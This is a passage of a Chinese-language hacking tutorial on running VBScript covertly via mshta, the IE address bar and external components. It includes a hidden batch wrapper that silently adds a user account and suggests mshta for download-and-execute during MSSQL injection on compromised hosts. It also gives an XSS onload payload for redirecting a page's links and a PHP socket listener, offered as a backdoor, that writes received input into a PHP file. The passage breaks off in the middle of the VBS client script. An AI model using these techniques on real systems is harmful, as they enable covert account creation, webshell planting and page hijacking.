這個組件在xp、2003上默認都可以用的,調用后可以聽到電腦上一個國外老男人在說話。好比這樣一句代碼:●CreateObject("SAPI.SpVoice").Speak "I LOVE YOU"●,保存成vbs后綴后雙擊就會聽到英語的我愛你了。但隨之而來我們講到另一個問題,不保存成vbs或vbe后綴如何運行vbs代碼。
一、用mshta來運行vbs hta這種類型的文件運行后也是系統(tǒng)權限,其調用宿主就是mshta.exe。我們在cmd下運行這樣一行代碼:●mshta vbscript:createobject("sapi.spvoice").speak("I LOVE YOU.")(window.close)●,也會聽到同樣的發(fā)音。這行代碼的意思類似是臨時生成一個hta文件,然后運行里邊的vbs代碼,再調用window.close將運行窗口關掉。整個運行過程是看不到hta窗口的。這種運行方式你會想到什么?最少我是想到了兩個。一個是批處理的隱藏運行,基本代碼如下: ★ @echo off if "%1" == "h" goto begin mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)exit :begin rem 下邊開始寫批處代碼了 net user lcx 12345 /add ★ 這個代碼只能雙擊運行,運行過程中你看不到具體的批處理運行流程的。第二個我想的是注射過程中的用途。網上有篇流傳很廣的文章《mssql注射中多次調用參數(shù)導致多次echo的解決方法》,中心思想是將vbs語句用冒號連接起來然后用echo命令一次寫入到被注入的肉雞上,然后再調用這個vbs來下載文件。如果調用mshta執(zhí)行的話,下載、執(zhí)行一次就ok了。不過在命令行下用mshta后邊直接跟vbs代碼有個難處理的問題是空格,不過這個好解決用execute將vbs代碼放在括號里就ok了,這個讀者可以親自去試一下了,相信我不難的。
二、用ie地址欄運行vbs 很多人會用ie地址欄運行js,其實vbs一樣是可以的,我們隨便打開一個網站,在地址欄上輸入:vbscript:msgbox(Document.links.length)后回車,就會看到當前頁面有多少個連接了。用document.links(i).href這句的話,將i換成不同的自然數(shù)好比0、1、2、3等就會分別顯示出不同的鏈接地址。這部份內容其實是涉及到dhtml的內容了。我們來看一個最簡單的示例代碼: ★ a href=http://www.sohu.com>www.sohu.com/a> a href=http://www.baidu.com>www.baidu.com/a> ★ 這是兩個鏈接,保存成網頁后點擊就會跳轉到不同的頁面。如果這個頁面有跨站,我想搞下破壞,讓用戶點擊www.sohu.com卻跑到我指定的頁面上能做到嗎?其實可以的,只要加一行語句就可以了,代碼是:●body onload='vbscript:document.links(0).>●。這樣的話用戶再點擊sohu其實會跑到google上去了,原來頁面的版式卻絲毫沒有破壞。同樣的dhtml元素還有document.links(i).href、document.images(i).src、document.forms(i).action等等,跨站改變其動態(tài)元素是很好玩的。
三、調用外部組件來運行vbs vbs本身功能畢竟有限,但是卻可以很好的與外部交互。要是用vbs來模擬nc發(fā)包的話,就要調用vb組件了。關于VBS如何成功調用MSWinsock.Winsock,zzzevazzz說的很清楚了。就是下載Winsock.ocs注冊,和VB6控件的授權密鑰的.reg導入注冊表。兩個文件可以在http://zzzevazzz.bokee.com/inc/vb6controls.rar這里下載。前不久學了一段時間php,網上看到一個php的監(jiān)聽程序,可以用它來做一個后門,s端s.php代碼如下: ★ ? // 設置一些基本的變量 $host = "192.168.8.100"; $port = 12345; // 設置超時時間 set_time_limit(0); // 創(chuàng)建一個Socket $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create socket\n"); //綁定Socket到端口 $result = socket_bind($socket, $host, $port) or die("Could not bind to socket\n"); // 開始監(jiān)聽鏈接 $result = socket_listen($socket, 3) or die("Could not set up socket listener\n"); // accept incoming connections // 另一個Socket來處理通信 $spawn = socket_accept($socket) or die("Could not accept incoming connection\n"); // 獲得客戶端的輸入 $input = socket_read($spawn, 1024) or die("Could not read input\n"); // 清空輸入字符串 $input = trim($input);//將輸入結果寫入ok.php,這句是我加的 fputs(fopen('ok.php','a+'),"$input");
//處理客戶端輸入并返回結果 $output = strrev($input) . "\n"; socket_write($spawn, $output, strlen ($output)) or die("Could not write output\n"); // 關閉sockets socket_close($spawn); socket_close($socket); ?> ★ 在ie打開這個php,運行它的服務器會監(jiān)聽12345端口。如果我們再用vbs向12345端口發(fā)包的話,在同文件的php目錄下會生成ok.php。發(fā)包的內容就是我們要寫入ok.php的代碼。該vbs文件c.vbs代碼如下: ★ Set ie=WScript.CreateObject("InternetExplorer.Application") ie.visible=false ie.Navigate "http://192.168.8.100/s.php" 's.php是服務端 While ie.Busy WScript.Sleep 100 Wend